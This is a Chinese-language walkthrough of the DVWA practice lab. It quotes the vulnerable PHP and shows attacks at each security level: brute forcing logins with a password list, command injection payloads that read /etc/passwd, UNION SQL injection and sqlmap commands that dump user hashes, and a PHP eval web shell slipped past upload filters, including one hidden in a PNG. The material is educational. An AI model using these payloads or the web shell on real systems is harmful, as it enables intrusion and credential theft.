环境配置
DVWA 靶场源代码:DVWA-master.zip
参考文章:【渗透测试零基础入门】搭建 DVWA 靶场保姆级教程(超详细),收藏这一篇就够了!_dvwa靶场搭建-CSDN博客
也可以使用 docker 直接部署
# 拉取镜像
docker pull sqreen/dvwa
# 部署安装
docker run -d -t -p 8888:80 sqreen/dvwa
Brute Force
暴力破解的关键在于有一个好用的字典,有的时候需要我们自己编写一些脚本生成字典
Low 级别
代码分析
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
这里没有对用户名和密码进行任何过滤,也没对请求次数做限制,直接爆破即可
操作步骤
直接登录
然后抓取刚刚发起的登录请求
右键将请求放到轰炸机( Intruder )中,选择 Cluster bomb attack 模式
给要爆破的位置添加上美元符
在载荷(Payloads)中,第一个是用户名,添加一些常见的用户名
密码部分添加一些常见的密码,也可以直接使用密码本,Kali Linux 中的密码本可以参考:【kali笔记】kali中常用的密码字典,网站推荐 | CN-SEC 中文网
这里做题我们可以简单些,可以添加如下密码,或者直接让 AI 生成一个:
123456
password
123456789
12345678
12345
qwerty
abc123
111111
admin
letmein
welcome
monkey
password1
123123
iloveyou
sunshine
admin123
passw0rd
123qwe
zaq12wsx
可以在资源池中添加线程数加快速度
然后点击 Start Attack 开始攻击,按照返回值的长度排序,可以明显看到 admin password 返回的内容不一样,查看发现破解成功
Medium 级别
代码分析
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
这里就是在登录失败后添加了两秒的延迟,没有什么大的影响,就是爆破的慢一些,但是问题不大
操作步骤
直接按照 Low 级别的步骤即可
High 级别
代码分析
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这里引入了 user_token,每一次请求之后都会创建一个新的 Token,我们也需要不断更新 token
操作步骤
选择 Pitchfork attack 模式
对用户名,密码,token 进行爆破
用户名和密码参数如图,主要是token
如图所示,在 Settings 中选择Grep - Extract,在代码中找到 token,记得这个时候顺手复制一下 token
回到载荷,类型选择 Recursive grep,在下方填入我们刚刚获取到的 token,作为一开始的 token
由于我们是一个个获取,所以说资源池一定要设置为 1
爆破成功
Impossible 级别
<?php
if( isset( $_POST[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = $row[ 'last_login' ];
$last_login = strtotime( $last_login );
$timeout = strtotime( "{$last_login} +{$lockout_time} minutes" );
$timenow = strtotime( "now" );
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow > $timeout )
$account_locked = true;
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
$html .= "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码中使用了Anti-CSRF Token 认证,登录三次之后锁定十五分钟,登录失败 2-4 秒的随机延迟,PDO 预处理语句防止SQL注入,多种方式一起防止暴力破解。
Command Injection
命令注入漏洞会让攻击者可以任意执行恶意代码语句,在实战中危害较高,也被称作命令执行,一般都属于高危漏洞。
Low 级别
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
这里可以看到,代码直接获取了 ip,并没有执行任何的过滤,直接放到 shell_exec 中执行。
也就是说,我们可以很轻松的使用 | 、& 之类的命令连接符,来执行我们的攻击命令
操作步骤
写入如下语句:127.0.0.1;cat /etc/passwd
可以发现成功查看 /etc/passwd
Medium 级别
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
可以看到,这里添加了对于 && 符号和 ; 号的过滤,但是我们还是可以通过 | 和 || 来进行注入
操作步骤
写入如下语句:127.0.0.1 | cat /etc/passwd
依然可以查看到 /etc/passwd
High 级别
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
我们可以看一下代码,发现对于常见的命令连接符都进行了过滤,但是仔细观察发现,| 之后有空格,我们不使用空格即可
操作步骤
写入如下语句:127.0.0.1|cat /etc/passwd
Impossible 级别
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码中使用了Anti-CSRF Token 认证,对于输入的IP,通过 "." 进行分割,并且判断是否只有四位,且四位均为数字,即确保 IP 地址为点分十进制。
SQL Injection
Low 级别 - 手动注入
注入内容:1' or 1=1#
确认单引号闭合
注入内容:1' union select 1,database();#
查看数据库名
注入内容:1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa';#
查看表格
注入内容:1' union select 1,column_name from information_schema.columns where table_name = 'users';#
查看列名
注入内容:1' UNION SELECT user,password FROM dvwa.users;#
查看用户名和密码
Low 级别 - 使用 sqlmap
使用sqlmap进行扫描:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low"
使用sqlmap获取数据库名:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low" --dbs
使用sqlmap获取数据表名:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low" -D dvwa --tables
使用sqlmap获取数据表的列名:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low" -D dvwa -T users --columns
使用sqlmap获取user,password的数据:sqlmap -u "http://192.168.13.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=low" -D dvwa -T users -C user,password --dump
使用 md5 破解工具破解
查看csv文件
Medium 级别 - 手动注入
发现使用的 POST 协议,通过选择框限制
通过 burpsuite 抓包,修改参数,确认为数字型注入
尝试获取数据库
id=1 UNION select 1,database();#&Submit=Submit
尝试获取数据表名
id=1 UNION select 1,table_name FROM information_schema.tables where table_schema = "dvwa";#&Submit=Submit
发现报错,这里如果查看源码的话,会发现这里使用了 mysql_real_escape_string 函数进行过滤,会转义 SQL 语句中的特殊字符,所以说这里需要进行编码
把dvwa转成十六进制即可
id=1 UNION select 1,table_name FROM information_schema.tables where table_schema = 0x64767761;#&Submit=Submit
查看列的信息
id=1 UNION select 1,column_name FROM information_schema.columns where table_name = 0x7573657273;#&Submit=Submit
获取信息
id=1 UNION select user,password FROM dvwa.users;#&Submit=Submit
Medium 级别 - 使用 sqlmap
将请求写入到文件中
echo "
POST /vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.13.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://192.168.13.1
Connection: keep-alive
Referer: http://192.168.13.1/vulnerabilities/sqli/
Cookie: PHPSESSID=u6oo677eq3ivptmo4ov7hhkoc0; security=medium
Upgrade-Insecure-Requests: 1
Priority: u=0, i
id=1&Submit=Submit
" > request.txt
尝试注入
sqlmap -r request.txt
获取数据库名
sqlmap -r request.txt --dbs
获取数据表信息
sqlmap -r request.txt -D dvwa --tables
获取列信息
sqlmap -r request.txt -D dvwa -T users --columns
导出破解的数据信息
sqlmap -r request.txt -D dvwa -T users -C user,password --dump
High 级别 - 手动注入
和 Low 级别一样的做法,只不过在弹窗里面做
High 级别 - 使用 sqlmap 注入
拦截一个 session-input.php 的包,注意一定是 session-input.php
将请求包写入到 high.txt 中
这里要设置回显地址
sqlmap -r high.txt --second-url="http://192.168.13.1/vulnerabilities/sqli/"
剩下的步骤就和中级一样了
sqlmap -r high.txt --second-url="http://192.168.13.1/vulnerabilities/sqli/" -D dvwa -T users -C user,password --dump
File Upload
Low 级别
在本地创建一个 test.php ,写入如下内容
<?php
eval($_GET['cmd']);
?>
上传到服务器中
通过给定的 url 访问一下文件,通过我们 p 参数传入 phpinfo()
http://localhost/hackable/uploads/cmd.php?cmd=phpinfo();
使用蚁剑进行连接
注意需要改成POST
<?php
eval($_POST['cmd']);
?>
Medium 级别
使用初级的方法尝试连接
发现 php 文件不能被上传
将 cmd 文件重命名为 png 文件
发现可以上传
拦截这个请求包,将filename修改为cmd.php
发现连接成功
High 级别
使用中级的办法依然不行了
准备一张 png 图片(爱莉希雅!好看!我是爱莉希雅的狗!)
将木马文件和图片合并
木马文件内容如下
copy image.png/b + cmd.php/a cmd.png
上传完成
访问
这里链接视情况而定,后面是 png 文件在服务器的具体路径,可以看到代码执行了